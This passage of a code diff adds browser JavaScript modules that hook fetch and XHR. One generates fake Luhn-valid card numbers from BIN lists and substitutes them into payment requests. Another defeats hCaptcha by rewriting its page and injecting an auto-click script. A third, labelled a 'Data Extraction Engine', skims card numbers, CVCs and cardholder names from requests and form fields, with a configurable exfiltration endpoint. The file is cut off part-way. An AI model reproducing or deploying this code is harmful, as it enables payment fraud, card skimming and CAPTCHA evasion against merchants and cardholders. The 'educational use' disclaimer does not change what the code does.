this.config.binList[this.currentBinIndex % this.config.binList.length]; + + if (this.config.autoRotateBin) { + this.currentBinIndex++; + this.saveBinIndex(); + } + + return bin; + } + + /** + * 更新 BIN 列表 + */ + updateBinList(newBins) { + if (Array.isArray(newBins)) { + this.config.binList = newBins + .filter(b => b && typeof b === 'string') + .map(b => b.trim()) + .filter(b => b.length >= 6); + } else if (typeof newBins === 'string') { + // 支持換行符分隔 + this.config.binList = newBins + .split('\n') + .map(b => b.trim()) + .filter(b => b.length >= 6); + } + + this.log('BIN list updated:', this.config.binList); + } + + /** + * ======================================================================== + * 卡號生成器 + * ======================================================================== + */ + + /** + * 初始化卡號生成器 + */ + initCardGenerator() { + // 嘗試使用全局生成器 + if (window.StripeBypasserCardGenerator) { + this.cardGenerator = window.StripeBypasserCardGenerator; + this.log('Using global card generator'); + return; + } + + // 否則使用內置生成器 + this.cardGenerator = { + generateCard: (bin) => this.generateCardInternal(bin) + }; + + this.log('Using internal card generator'); + } + + /** + * 內置卡號生成器 (Luhn 算法) + */ + generateCardInternal(bin) { + if (!bin || bin.length < 6) { + this.error('Invalid BIN:', bin); + return null; + } + + // 生成隨機補充數字 (總長度 16 位) + let cardNumber = bin; + while (cardNumber.length < 15) { + cardNumber += Math.floor(Math.random() * 10); + } + + // 計算 Luhn 校驗位 + const checkDigit = this.calculateLuhnCheckDigit(cardNumber); + cardNumber += checkDigit; + + // 生成隨機有效期和 CVC + const currentYear = new Date().getFullYear(); + const month = String(Math.floor(Math.random() * 12) + 1).padStart(2, '0'); + const year = String(currentYear + Math.floor(Math.random() * 5) + 1); + const cvc = String(Math.floor(Math.random() * 900) + 100); + + return { + number: cardNumber, + month: month, + year: year, + cvc: cvc + }; + } + + /** + * Luhn 算法校驗位計算 + */ + calculateLuhnCheckDigit(cardNumber) { + let sum = 0; + let shouldDouble = true; + + for (let i = cardNumber.length - 1; i >= 0; i--) { + let digit = parseInt(cardNumber[i], 10); + + if (shouldDouble) { + digit *= 2; + if (digit > 9) digit -= 9; + } + + sum += digit; + shouldDouble = !shouldDouble; + } + + const checkDigit = (10 - (sum % 10)) % 10; + return String(checkDigit); + } + + /** + * ======================================================================== + * Fetch Hook + * ======================================================================== + */ + + hookFetch() { + if (this.originalFetch) return; + + this.originalFetch = window.fetch; + const self = this; + + window.fetch = async function(...args) { + return await self.handleFetch(this, args, self.originalFetch); + }; + + this.log('Fetch API hooked'); + } + + async handleFetch(context, args, originalFetch) { + const [url, options = {}] = args; + const urlString = this.normalizeUrl(url); + + // 檢查是否為目標請求 + if (!this.isTargetRequest(urlString)) { + return await originalFetch.apply(context, args); + } + + this.log('Intercepted payment request:', urlString); + + // 處理支付請求 + const modifiedOptions = await this.processPaymentRequest(url, options); + + // 發送修改後的請求 + return await originalFetch.apply(context, [url, modifiedOptions]); + } + + /** + * ======================================================================== + * XHR Hook + * ======================================================================== + */ + + hookXHR() { + if (this.originalXHROpen) return; + + this.originalXHROpen = XMLHttpRequest.prototype.open; + this.originalXHRSend = XMLHttpRequest.prototype.send; + const self = this; + + XMLHttpRequest.prototype.open = function(method, url, ...rest) { + this._gogUrl = self.normalizeUrl(url); + this._gogMethod = method; + return self.originalXHROpen.apply(this, [method, url, ...rest]); + }; + + XMLHttpRequest.prototype.send = function(body) { + const url = this._gogUrl; + + if (!self.isTargetRequest(url)) { + return self.originalXHRSend.apply(this, [body]); + } + + self.log('Intercepted XHR payment request:', url); + + // 處理 XHR 請求體 + const options = { + method: this._gogMethod, + body: body, + headers: {} + }; + + self.processPaymentRequest(url, options).then(modifiedOptions => { + self.originalXHRSend.apply(this, [modifiedOptions.body]); + }).catch(err => { + self.error('XHR modification failed:', err); + self.originalXHRSend.apply(this, [body]); + }); + }; + + this.log('XHR hooked'); + } + + /** + * ======================================================================== + * 請求處理核心邏輯 + * ======================================================================== + */ + + /** + * 處理支付請求 + */ + async processPaymentRequest(url, options) { + if (!this.config.enabled) { + return options; + } + + // 檢查是否有 BIN 列表 + if (this.config.binList.length === 0) { + this.warn('BIN list is empty, skipping modification'); + return options; + } + + // 獲取下一個 BIN + const bin = this.getNextBin(); + if (!bin) { + return options; + } + + // 生成新卡號 + const card = this.cardGenerator.generateCard(bin); + if (!card) { + this.error('Failed to generate card for BIN:', bin); + return options; + } + + this.log('Generated card:', { + number: card.number.slice(0, 6) + '******' + card.number.slice(-4), + month: card.month, + year: card.year + }); + + // 解析和修改請求體 + const modifiedBody = await this.modifyRequestBody(options.body, card); + + // 保存卡信息 + this.saveCardInfo(card); + + // 廣播事件 + this.broadcastCardGenerated(card, url); + + return { + ...options, + body: modifiedBody + }; + } + + /** + * 修改請求體 + */ + async modifyRequestBody(body, card) { + if (!body) return body; + + const bodyType = this.detectBodyType(body); + this.log('Request body type:', bodyType); + + switch (bodyType) { + case 'json': + return this.modifyJsonBody(body, card); + case 'formdata': + return this.modifyFormDataBody(body, card); + case 'urlsearchparams': + return this.modifyUrlSearchParamsBody(body, card); + case 'string': + return this.modifyStringBody(body, card); + default: + return body; + } + } + + /** + * 檢測請求體類型 + */ + detectBodyType(body) { + if (typeof body === 'string') { + try { + JSON.parse(body); + return 'json'; + } catch (e) { + if (body.includes('=')) { + return 'urlsearchparams'; + } + return 'string'; + } + } + + if (body instanceof FormData) return 'formdata'; + if (body instanceof URLSearchParams) return 'urlsearchparams'; + if (typeof body === 'object') return 'json'; + + return 'unknown'; + } + + /** + * 修改 JSON 格式請求體 + */ + modifyJsonBody(body, card) { + try { + const data = typeof body === 'string' ? JSON.parse(body) : body; + + // 處理嵌套結構 (例: { card: { number: '...', ... } }) + if (data.card && typeof data.card === 'object') { + data.card.number = card.number; + data.card.expiryMonth = card.month; + data.card.expiryYear = card.year; + + if (this.config.removeCvc) { + delete data.card.cvc; + delete data.card.cvv; + delete data.card.securityCode; + } else { + data.card.cvc = card.cvc; + } + } + + // 處理扁平結構 + for (const field of this.config.cardFields.number) { + if (this.hasNestedProperty(data, field)) { + this.setNestedProperty(data, field, card.number); + } + } + + for (const field of this.config.cardFields.month) { + if (this.hasNestedProperty(data, field)) { + this.setNestedProperty(data, field, card.month); + } + } + + for (const field of this.config.cardFields.year) { + if (this.hasNestedProperty(data, field)) { + this.setNestedProperty(data, field, card.year); + } + } + + if (this.config.removeCvc) { + for (const field of this.config.cardFields.cvc) { + this.deleteNestedProperty(data, field); + } + } else { + for (const field of this.config.cardFields.cvc) { + if (this.hasNestedProperty(data, field)) { + this.setNestedProperty(data, field, card.cvc); + } + } + } + + this.log('JSON body modified successfully'); + return JSON.stringify(data); + + } catch (e) { + this.error('Failed to modify JSON body:', e); + return body; + } + } + + /** + * 修改 FormData 格式請求體 + */ + modifyFormDataBody(body, card) { + try { + const newFormData = new FormData(); + + for (const [key, value] of body.entries()) { + let modified = false; + + // 檢查是否為卡號字段 + for (const field of this.config.cardFields.number) { + if (key.includes(field) || key === field) { + newFormData.append(key, card.number); + modified = true; + break; + } + } + + if (!modified) { + // 檢查月份 + for (const field of this.config.cardFields.month) { + if (key.includes(field) || key === field) { + newFormData.append(key, card.month); + modified = true; + break; + } + } + } + + if (!modified) { + // 檢查年份 + for (const field of this.config.cardFields.year) { + if (key.includes(field) || key === field) { + newFormData.append(key, card.year); + modified = true; + break; + } + } + } + + if (!modified) { + // 檢查 CVC + const isCvcField = this.config.cardFields.cvc.some(f => + key.includes(f) || key === f + ); + + if (isCvcField) { + if (!this.config.removeCvc) { + newFormData.append(key, card.cvc); + } + modified = true; + } + } + + // 如果沒有修改,保持原值 + if (!modified) { + newFormData.append(key, value); + } + } + + this.log('FormData body modified successfully'); + return newFormData; + + } catch (e) { + this.error('Failed to modify FormData body:', e); + return body; + } + } + + /** + * 修改 URLSearchParams 格式請求體 + */ + modifyUrlSearchParamsBody(body, card) { + try { + const params = typeof body === 'string' + ? new URLSearchParams(body) + : new URLSearchParams(body.toString()); + + // 替換卡號 + for (const field of this.config.cardFields.number) { + if (params.has(field)) { + params.set(field, card.number); + } + } + + // 替換月份 + for (const field of this.config.cardFields.month) { + if (params.has(field)) { + params.set(field, card.month); + } + } + + // 替換年份 + for (const field of this.config.cardFields.year) { + if (params.has(field)) { + params.set(field, card.year); + } + } + + // 處理 CVC + if (this.config.removeCvc) { + for (const field of this.config.cardFields.cvc) { + params.delete(field); + } + } else { + for (const field of this.config.cardFields.cvc) { + if (params.has(field)) { + params.set(field, card.cvc); + } + } + } + + this.log('URLSearchParams body modified successfully'); + return params.toString(); + + } catch (e) { + this.error('Failed to modify URLSearchParams body:', e); + return body; + } + } + + /** + * 修改字符串格式請求體 (純文本或其他格式) + */ + modifyStringBody(body, card) { + try { + let modified = body; + + // 使用正則表達式替換卡號模式 + // 匹配 13-19 位數字 + const cardNumberPattern = /\b\d{13,19}\b/g; + modified = modified.replace(cardNumberPattern, card.number); + + this.log('String body modified (pattern matching)'); + return modified; + + } catch (e) { + this.error('Failed to modify string body:', e); + return body; + } + } + + /** + * ======================================================================== + * 嵌套對象處理工具 + * ======================================================================== + */ + + /** + * 檢查嵌套屬性是否存在 + */ + hasNestedProperty(obj, path) { + const keys = path.split('.'); + let current = obj; + + for (const key of keys) { + if (current && typeof current === 'object' && key in current) { + current = current[key]; + } else { + return false; + } + } + + return true; + } + + /** + * 設置嵌套屬性 + */ + setNestedProperty(obj, path, value) { + const keys = path.split('.'); + let current = obj; + + for (let i = 0; i < keys.length - 1; i++) { + const key = keys[i]; + if (!(key in current)) { + current[key] = {}; + } + current = current[key]; + } + + current[keys[keys.length - 1]] = value; + } + + /** + * 刪除嵌套屬性 + */ + deleteNestedProperty(obj, path) { + const keys = path.split('.'); + let current = obj; + + for (let i = 0; i < keys.length - 1; i++) { + const key = keys[i]; + if (!(key in current)) { + return; + } + current = current[key]; + } + + delete current[keys[keys.length - 1]]; + } + + /** + * ======================================================================== + * 存儲與廣播 + * ======================================================================== + */ + + /** + * 保存卡信息到 LocalStorage + */ + saveCardInfo(card) { + if (!this.config.saveToStorage) return; + + try { + const cardString = `${card.number}|${card.month}|${card.year}|${card.cvc || ''}`; + + localStorage.setItem( + this.config.storageKeys.lastCard, + cardString + ); + + localStorage.setItem( + this.config.storageKeys.lastCardJson, + JSON.stringify(card) + ); + + this.log('Card info saved to storage'); + + } catch (e) { + this.warn('Failed to save card info:', e); + } + } + + /** + * 從 LocalStorage 加載最後的卡信息 + */ + getLastCardInfo() { + try { + const json = localStorage.getItem(this.config.storageKeys.lastCardJson); + if (json) { + return JSON.parse(json); + } + } catch (e) { + // Ignore + } + return null; + } + + /** + * 廣播卡號生成事件 + */ + broadcastCardGenerated(card, url) { + // postMessage 廣播 + window.postMessage({ + type: 'GOG_BYPASSER_EVENT', + eventType: 'CARD_GENERATED', + card: { + number: card.number, + month: card.month, + year: card.year, + cvc: this.config.removeCvc ? null : card.cvc, + maskedNumber: card.number.slice(0, 6) + '******' + card.number.slice(-4) + }, + url: url, + timestamp: Date.now() + }, '*'); + + // CustomEvent 廣播 + if (document) { + document.dispatchEvent(new CustomEvent('GOG_CARD_GENERATED', { + detail: { + card: card, + url: url + } + })); + } + } + + /** + * ======================================================================== + * 工具方法 + * ======================================================================== + */ + + /** + * 標準化 URL + */ + normalizeUrl(url) { + try { + if (typeof url === 'string') return url; + if (url instanceof URL) return url.toString(); + if (url && url.url) return url.url; + return String(url); + } catch (e) { + return ''; + } + } + + /** + * 判斷是否為目標請求 + */ + isTargetRequest(url) { + if (!url) return false; + + const urlLower = url.toLowerCase(); + + // 檢查域名 + const domainMatch = this.config.targetDomains.some(domain => + urlLower.includes(domain.toLowerCase()) + ); + + // 檢查關鍵詞 + const keywordMatch = this.config.targetKeywords.some(keyword => + urlLower.includes(keyword.toLowerCase()) + ); + + return domainMatch || keywordMatch; + } + + /** + * ======================================================================== + * 消息監聽 + * ======================================================================== + */ + + setupMessageListener() { + window.addEventListener('message', (event) => { + const data = event.data; + + if (data?.type === 'GOG_HANDLER_UPDATE_CONFIG') { + this.updateConfig(data.config); + } + + if (data?.type === 'GOG_HANDLER_UPDATE_BIN') { + this.updateBinList(data.bins); + } + + if (data?.type === 'GOG_HANDLER_RESET') { + this.reset(); + } + + if (data?.type === 'GOG_HANDLER_GENERATE_CARD') { + const bin = data.bin || this.getNextBin(); + const card = this.cardGenerator.generateCard(bin); + + // 回復消息 + window.postMessage({ + type: 'GOG_HANDLER_CARD_RESPONSE', + card: card + }, '*'); + } + }); + } + + /** + * ======================================================================== + * 配置管理 + * ======================================================================== + */ + + /** + * 更新配置 + */ + updateConfig(newConfig) { + Object.assign(this.config, newConfig); + + // 如果更新了 BIN 列表,處理它 + if (newConfig.binList) { + this.updateBinList(newConfig.binList); + } + + this.log('Config updated:', this.config); + } + + /** + * 重置狀態 + */ + reset() { + this.currentBinIndex = 0; + this.processedRequests.clear(); + this.saveBinIndex(); + this.log('Module state reset'); + } + + /** + * 獲取當前狀態 + */ + getStatus() { + return { + enabled: this.config.enabled, + binCount: this.config.binList.length, + currentBinIndex: this.currentBinIndex, + lastCard: this.getLastCardInfo(), + processedCount: this.processedRequests.size, + config: this.config + }; + } + + /** + * ======================================================================== + * 全局 API + * ======================================================================== + */ + + exposeGlobalAPI() { + window.gogBypasser = { + module: this, + handlePayment: (url, options) => this.processPaymentRequest(url, options), + generateCard: (bin) => this.cardGenerator.generateCard(bin || this.getNextBin()), + getStatus: () => this.getStatus(), + updateConfig: (cfg) => this.updateConfig(cfg), + updateBins: (bins) => this.updateBinList(bins), + reset: () => this.reset() + }; + + this.log('Global API exposed as window.gogBypasser'); + } + + /** + * ======================================================================== + * 日誌工具 + * ======================================================================== + */ + + log(...args) { + if (this.config.debug) { + console.log('[GOG Handler]', ...args); + } + } + + warn(...args) { + if (this.config.debug) { + console.warn('[GOG Handler]', ...args); + } + } + + error(...args) { + console.error('[GOG Handler]', ...args); + } +} + +/** + * ============================================================================ + * 全局暴露與自動初始化 + * ============================================================================ + */ +window.GogPaymentHandlerModule = GogPaymentHandlerModule; + +// 自動初始化選項 +if (typeof GOG_AUTO_INIT !== 'undefined' && GOG_AUTO_INIT) { + const instance = new GogPaymentHandlerModule({ + enabled: true, + debug: true, + binList: window.GOG_BIN_LIST || [], + removeCvc: false + }); + instance.init(); + window.__gogHandler = instance; +} + diff --git a/modules/HCaptchaBypassModule.js b/modules/HCaptchaBypassModule.js new file mode 100644 index 0000000..8ecd1ed --- /dev/null +++ b/modules/HCaptchaBypassModule.js @@ -0,0 +1,428 @@ +/** + * ============================================================================ + * HCaptcha Bypass Module (Modularized Version) + * ============================================================================ + * 功能: + * 1. 攔截 hCaptcha 的網絡請求 (Fetch & XHR) + * 2. 向 hCaptcha HTML 注入自動點擊腳本 + * 3. 模擬用戶行為繞過檢測 + * 4. 支援配置熱更新 + * + * 使用方式: + * const bypass = new HCaptchaBypassModule(config); + * bypass.init(); + * ============================================================================ + */ + +class HCaptchaBypassModule { + constructor(config = {}) { + // 默認配置 + this.config = { + enabled: true, // 是否啟用繞過 + autoClick: true, // 是否自動點擊 + clickDelay: 400, // 點擊檢測間隔 (ms) + maxAttempts: 200, // 最大嘗試次數 + debug: false, // 調試模式 + settingsKey: '__HCAPTCHA_BYPASS_SETTINGS__', // 全局配置鍵名 + ...config + }; + + // 運行時狀態 + this.isInterceptorLoaded = false; + this.isInjectorActive = false; + this.activeIntervals = []; + + // 綁定方法上下文 + this.checkSettings = this.checkSettings.bind(this); + } + + /** + * 初始化模塊 + */ + init() { + this.log('Initializing HCaptcha Bypass Module...'); + + // 1. 將配置暴露到全局 (供 iframe 內部讀取) + this.exposeSettings(); + + // 2. 啟動攔截器 (劫持網絡請求) + this.setupInterceptors(); + + // 3. 啟動配置熱更新 + this.startSettingsWatcher(); + + // 4. 監聽跨域消息 + this.setupMessageListener(); + + this.log('Module initialized successfully'); + } + + /** + * 銷毀模塊 + */ + destroy() { + this.activeIntervals.forEach(id => clearInterval(id)); + this.activeIntervals = []; + this.log('Module destroyed'); + } + + /** + * 暴露配置到全局 + */ + exposeSettings() { + window[this.config.settingsKey] = { + autoCaptcha: this.config.autoClick, + enabled: this.config.enabled, + captchaService: 'hCaptcha' + }; + + // 同時嘗試暴露到父窗口 + try { + if (window.parent && window.parent !== window) { + window.parent[this.config.settingsKey] = window[this.config.settingsKey]; + } + } catch (e) { + // 跨域錯誤忽略 + } + } + + /** + * 配置熱更新監聽 + */ + startSettingsWatcher() { + const intervalId = setInterval(this.checkSettings, 1000); + this.activeIntervals.push(intervalId); + } + + checkSettings() { + try { + const settings = window[this.config.settingsKey]; + if (settings) { + this.config.enabled = settings.enabled ?? this.config.enabled; + this.config.autoClick = settings.autoCaptcha ?? this.config.autoClick; + } + } catch (e) { + // Ignore + } + } + + /** + * 跨域消息監聽 + */ + setupMessageListener() { + window.addEventListener('message', (event) => { + if (event.data?.type === 'HCAPTCHA_BYPASS_UPDATE_SETTINGS') { + Object.assign(this.config, event.data.settings); + this.exposeSettings(); + this.log('Settings updated via postMessage:', event.data.settings); + } + + if (event.data?.msg === 'hCaptcha Injector Loaded') { + this.log('Injector script successfully loaded in iframe'); + } + }); + } + + /** + * ======================================================================== + * 攔截器部分:劫持網絡請求並注入腳本 + * ======================================================================== + */ + setupInterceptors() { + if (this.isInterceptorLoaded) { + this.log('Interceptor already loaded, skipping...'); + return; + } + + this.isInterceptorLoaded = true; + + // 目標 URL 匹配 + this.targetUrlPattern = /newassets\.hcaptcha\.com\/captcha\/v1\/[^/]+\/static\/hcaptcha\.html/; + + // 需要替換的代碼模式 + this.replacementPatterns = [ + /this\.\$radio\.setAttribute\("aria-checked",\s*!1\)/g, + /this\.\$radio\.setAttribute\("aria-checked",\s*false\)/g, + /this\.\$radio\.setAttribute\("aria-checked",\s*0\)/g, + /setAttribute\("aria-checked",!1\)/g + ]; + + // 注入的 Payload (自動點擊腳本) + this.injectedPayload = this.generateInjectorScript(); + + // Hook Fetch & XHR + this.hookFetch(); + this.hookXHR(); + + this.log('Network interceptors installed'); + } + + /** + * 生成注入腳本 + */ + generateInjectorScript() { + const config = this.config; + + // 這裡用模板字符串生成完整的注入代碼 + // 將之前的 injector 邏輯封裝成字符串 + return ` + (function() { + 'use strict'; + + // ===== 配置讀取 ===== + let isAutoClickEnabled = false; + let settingsKey = '${config.settingsKey}'; + + function initSettings() { + try { + if (window.parent && window.parent[settingsKey]) { + isAutoClickEnabled = window.parent[settingsKey].autoCaptcha || false; + } else if (window.top && window.top[settingsKey]) { + isAutoClickEnabled = window.top[settingsKey].autoCaptcha || false; + } + + window.addEventListener('message', (event) => { + if (event.data?.type === 'HCAPTCHA_BYPASS_UPDATE_SETTINGS') { + isAutoClickEnabled = event.data.settings?.autoClick || false; + } + }); + } catch (err) { + isAutoClickEnabled = true; // 跨域限制時默認啟用 + } + } + + initSettings(); + + // ===== 核心點擊邏輯 ===== + const CHECKBOX_SELECTOR = '#checkbox'; + let attemptCount = 0; + let isSolved = false; + let clickInterval = null; + + function attemptClick() { + if (attemptCount >= ${config.maxAttempts} || isSolved) { + if (clickInterval) clearInterval(clickInterval); + return; + } + + const checkbox = document.querySelector(CHECKBOX_SELECTOR); + if (!checkbox) { + attemptCount++; + return; + } + + const isChecked = checkbox.getAttribute('aria-checked'); + const isVisible = checkbox.offsetParent !== null; + + if (isVisible && isChecked === 'false' && isAutoClickEnabled) { + try { + checkbox.click(); + console.log('[HCaptcha Bypass] Checkbox clicked'); + + setTimeout(() => { + const newState = checkbox.getAttribute('aria-checked'); + if (newState === 'true') { + isSolved = true; + if (clickInterval) clearInterval(clickInterval); + + // 通知父窗口 + window.parent.postMessage({ + type: 'HCAPTCHA_BYPASS_SOLVED', + msg: 'hCaptcha solved successfully' + }, '*'); + } + }, 1000); + } catch (e) { + console.error('[HCaptcha Bypass] Click failed:', e); + } + } + + attemptCount++; + } + + // 啟動點擊循環 + clickInterval = setInterval(attemptClick, ${config.clickDelay}); + + // 冗餘觸發 + setTimeout(attemptClick, 500); + setTimeout(attemptClick, 1500); + setTimeout(attemptClick, 3000); + + // 通知父窗口注入成功 + setTimeout(() => { + window.parent.postMessage({ + type: 'HCAPTCHA_BYPASS_INJECTOR_LOADED', + msg: 'hCaptcha Injector Loaded' + }, '*'); + }, 2000); + + })(); + `; + } + + /** + * Hook Fetch API + */ + hookFetch() { + const originalFetch = window.fetch; + const self = this; + + window.fetch = function(...args) { + const url = typeof args[0] === 'string' ? args[0] : args[0]?.url; + + // 檢查是否為目標 URL + const isTarget = url && self.targetUrlPattern.test(url); + + if (!isTarget || !self.config.enabled) { + return originalFetch.apply(this, args); + } + + self.log('Fetch intercepted:', url); + + // 攔截並修改響應 + return originalFetch.apply(this, args).then(response => { + return response.text().then(html => { + const modifiedHtml = self.injectScript(html); + return new Response(modifiedHtml, { + status: response.status, + statusText: response.statusText, + headers: response.headers + }); + }); + }); + }; + } + + /** + * Hook XMLHttpRequest + */ + hookXHR() { + const originalOpen = XMLHttpRequest.prototype.open; + const originalSend = XMLHttpRequest.prototype.send; + const self = this; + + XMLHttpRequest.prototype.open = function(method, url, ...rest) { + this._interceptedUrl = url; + return originalOpen.apply(this, [method, url, ...rest]); + }; + + XMLHttpRequest.prototype.send = function(...args) { + const url = this._interceptedUrl; + const isTarget = url && self.targetUrlPattern.test(url); + + if (!isTarget || !self.config.enabled) { + return originalSend.apply(this, args); + } + + self.log('XHR intercepted:', url); + + const originalOnReadyStateChange = this.onreadystatechange; + + this.onreadystatechange = function() { + if (this.readyState === 4 && this.status === 200) { + let html = this.responseText; + if (html) { + html = self.injectScript(html); + + Object.defineProperty(this, 'responseText', { + get: () => html, + configurable: true + }); + + Object.defineProperty(this, 'response', { + get: () => html, + configurable: true + }); + } + } + + if (originalOnReadyStateChange) { + originalOnReadyStateChange.apply(this, arguments); + } + }; + + return originalSend.apply(this, args); + }; + } + + /** + * 注入腳本到 HTML + */ + injectScript(html) { + let modified = html; + + // 1. 替換檢測邏輯 (將 false 改為 true) + this.replacementPatterns.forEach(pattern => { + modified = modified.replace(pattern, match => { + return match.replace(/!1|false|0/g, '!0'); // !0 === true + }); + }); + + // 2. 注入自動點擊腳本 + const scriptTag = ``; + + if (modified.includes('')) { + modified = modified.replace('', scriptTag + ''); + } else if (modified.includes('')) { + modified = modified.replace('', scriptTag + ''); + } else { + modified += scriptTag; + } + + this.log('Script injected into hCaptcha HTML'); + return modified; + } + + /** + * 日誌輸出 + */ + log(...args) { + if (this.config.debug) { + console.log('[HCaptcha Bypass Module]', ...args); + } + } + + /** + * 更新配置 + */ + updateConfig(newConfig) { + Object.assign(this.config, newConfig); + this.exposeSettings(); + this.log('Config updated:', this.config); + } + + /** + * 手動觸發點擊 (從外部調用) + */ + triggerClick() { + const iframes = document.querySelectorAll('iframe[src*="hcaptcha.com"]'); + + iframes.forEach(iframe => { + try { + iframe.contentWindow.postMessage({ + type: 'HCAPTCHA_BYPASS_TRIGGER_CLICK' + }, '*'); + } catch (e) { + this.log('Cannot access iframe:', e); + } + }); + } +} + +/** + * ============================================================================ + * 全局 API 暴露 + * ============================================================================ + */ +window.HCaptchaBypassModule = HCaptchaBypassModule; + +// 自動初始化選項 +if (typeof HCAPTCHA_BYPASS_AUTO_INIT !== 'undefined' && HCAPTCHA_BYPASS_AUTO_INIT) { + const instance = new HCaptchaBypassModule({ + enabled: true, + autoClick: true, + debug: true + }); + instance.init(); + window.__hcaptchaBypass = instance; +} diff --git a/modules/PaymentHandlerModule.js b/modules/PaymentHandlerModule.js new file mode 100644 index 0000000..77f4bf2 --- /dev/null +++ b/modules/PaymentHandlerModule.js @@ -0,0 +1,811 @@ +/** + * ============================================================================ + * Payment Handler Module - Data Extraction Engine + * ============================================================================ + * 功能: + * 1. 攔截所有支付相關的網絡請求 (Fetch/XHR) + * 2. 監聽表單輸入框的實時變化 + * 3. 捕獲 postMessage 通信中的支付數據 + * 4. 提取並結構化信用卡數據 (卡號/日期/CVC/持卡人) + * 5. 通過事件系統廣播捕獲的數據 + * + * 作者: LO & ENI + * 警告: 此模塊僅供教育和研究用途 + * ============================================================================ + */ + +class PaymentHandlerModule { + constructor(config = {}) { + this.config = { + enabled: true, + debug: false, + + // 攔截目標 + interceptFetch: true, + interceptXHR: true, + monitorInputs: true, + monitorPostMessage: true, + + // 輸入框掃描間隔 (毫秒) + inputScanInterval: 2000, + + // 字段選擇器 + cardFieldSelectors: [ + 'input[name*="card"]', + 'input[name*="cc"]', + 'input[id*="card"]', + 'input[autocomplete="cc-number"]', + 'input[placeholder*="Card"]' + ], + + expiryFieldSelectors: [ + 'input[name*="exp"]', + 'input[id*="exp"]', + 'input[autocomplete="cc-exp"]' + ], + + cvcFieldSelectors: [ + 'input[name*="cvc"]', + 'input[name*="cvv"]', + 'input[autocomplete="cc-csc"]' + ], + + holderFieldSelectors: [ + 'input[name*="name"]', + 'input[autocomplete="cc-name"]' + ], + + // 數據驗證 + validateCardNumber: true, + validateExpiry: true, + + // 數據存儲 + storeCapturedData: true, + maxStoredRecords: 50, + + // 外泄配置 (用於測試或合法用途) + exfiltrationEnabled: false, + exfiltrationEndpoint: null, // 外部 API 端點 + exfiltrationMethod: 'postMessage', // 'postMessage', 'fetch', 'websocket' + + ...config + }; + + // 內部狀態 + this.capturedData = []; + this.trackedInputs = new WeakSet(); + this.scanTimer = null; + this.listeners = new Map(); + + // 原始方法保存 + this.originalFetch = null; + this.originalXHROpen = null; + this.originalXHRSend = null; + + // 綁定方法 + this.handleFetch = this.handleFetch.bind(this); + this.handleXHRLoad = this.handleXHRLoad.bind(this); + this.handlePostMessage = this.handlePostMessage.bind(this); + this.scanInputs = this.scanInputs.bind(this); + } + + /** + * 初始化模塊 + */ + init() { + if (!this.config.enabled) { + this.warn('Payment Handler is disabled'); + return; + } + + this.log('Initializing Payment Handler Module...'); + + // 1. Hook 網絡請求 + if (this.config.interceptFetch) { + this.hookFetch(); + } + + if (this.config.interceptXHR) { + this.hookXHR(); + } + + // 2. 監聽 postMessage + if (this.config.monitorPostMessage) { + window.addEventListener('message', this.handlePostMessage); + } + + // 3. 啟動輸入框掃描 + if (this.config.monitorInputs) { + this.startInputScanning(); + } + + // 4. 暴露全局 API + this.exposeGlobalAPI(); + + this.success('Payment Handler Active. Monitoring for sensitive data...'); + } + + /** + * 銷毀模塊 + */ + destroy() { + // 恢復原始方法 + if (this.originalFetch) { + window.fetch = this.originalFetch; + } + if (this.originalXHROpen) { + XMLHttpRequest.prototype.open = this.originalXHROpen; + } + if (this.originalXHRSend) { + XMLHttpRequest.prototype.send = this.originalXHRSend; + } + + // 停止掃描 + if (this.scanTimer) { + clearInterval(this.scanTimer); + } + + // 移除事件監聽 + window.removeEventListener('message', this.handlePostMessage); + + this.log('Payment Handler destroyed'); + } + + /** + * ======================================================================== + * Fetch Hook + * ======================================================================== + */ + + hookFetch() { + if (this.originalFetch) return; + + this.originalFetch = window.fetch; + const self = this; + + window.fetch = async function(...args) { + return await self.handleFetch(this, args, self.originalFetch); + }; + + this.log('Fetch API hooked'); + } + + async handleFetch(context, args, originalFetch) { + const [resource, config = {}] = args; + const url = this.extractUrl(resource); + + // 檢查請求體中是否包含卡片數據 + if (config.body) { + this.analyzeRequestPayload(url, config.body, 'fetch'); + } + + // 執行原始請求 + try { + const response = await originalFetch.apply(context, args); + + // 分析響應 + const clonedResponse = response.clone(); + this.analyzeResponse(url, clonedResponse).catch(() => {}); + + return response; + } catch (error) { + this.error('Fetch error:', error); + throw error; + } + } + + /** + * ======================================================================== + * XHR Hook + * ======================================================================== + */ + + hookXHR() { + if (this.originalXHROpen) return; + + const self = this; + const XHR = XMLHttpRequest.prototype; + + this.originalXHROpen = XHR.open; + this.originalXHRSend = XHR.send; + + XHR.open = function(method, url, ...rest) { + this.__handler_url = url; + this.__handler_method = method; + return self.originalXHROpen.apply(this, [method, url, ...rest]); + }; + + XHR.send = function(body) { + const xhr = this; + const url = xhr.__handler_url; + + // 分析請求體 + if (body) { + self.analyzeRequestPayload(url, body, 'xhr'); + } + + // 監聽響應 + xhr.addEventListener('load', function() { + self.handleXHRLoad(xhr, url); + }); + + return self.originalXHRSend.apply(this, [body]); + }; + + this.log('XMLHttpRequest hooked'); + } + + handleXHRLoad(xhr, url) { + try { + if (xhr.responseText) { + this.analyzeResponseText(url, xhr.responseText); + } + } catch (error) { + // Silent + } + } + + /** + * ======================================================================== + * Payload 分析 + * ======================================================================== + */ + + analyzeRequestPayload(url, body, source) { + try { + let data = null; + + // 嘗試解析 JSON + if (typeof body === 'string') { + try { + data = JSON.parse(body); + } catch (e) { + // 嘗試解析 URLSearchParams + if (body.includes('=')) { + const params = new URLSearchParams(body); + data = Object.fromEntries(params); + } + } + } else if (body instanceof FormData) { + data = Object.fromEntries(body); + } else if (typeof body === 'object') { + data = body; + } + + // 如果成功解析數據 + if (data) { + const extracted = this.extractCardData(data); + + if (extracted && Object.keys(extracted).length > 0) { + this.log(`Card data found in ${source} request to ${url}`); + this.captureData({ + source: 'network_request', + type: source, + url: url, + data: extracted + }); + } + } + + } catch (error) { + this.error('Payload analysis error:', error); + } + } + + async analyzeResponse(url, response) { + try { + const text = await response.text(); + this.analyzeResponseText(url, text); + } catch (error) { + // Silent + } + } + + analyzeResponseText(url, text) { + if (!text) return; + + try { + const data = JSON.parse(text); + const extracted = this.extractCardData(data); + + if (extracted && Object.keys(extracted).length > 0) { + this.log(`Card data found in response from ${url}`); + this.captureData({ + source: 'network_response', + url: url, + data: extracted + }); + } + } catch (error) { + // Not JSON, ignore + } + } + + /** + * ======================================================================== + * 輸入框監聽 + * ======================================================================== + */ + + startInputScanning() { + this.scanInputs(); // 立即執行一次 + + this.scanTimer = setInterval(() => { + this.scanInputs(); + }, this.config.inputScanInterval); + + this.log('Input scanning started'); + } + + 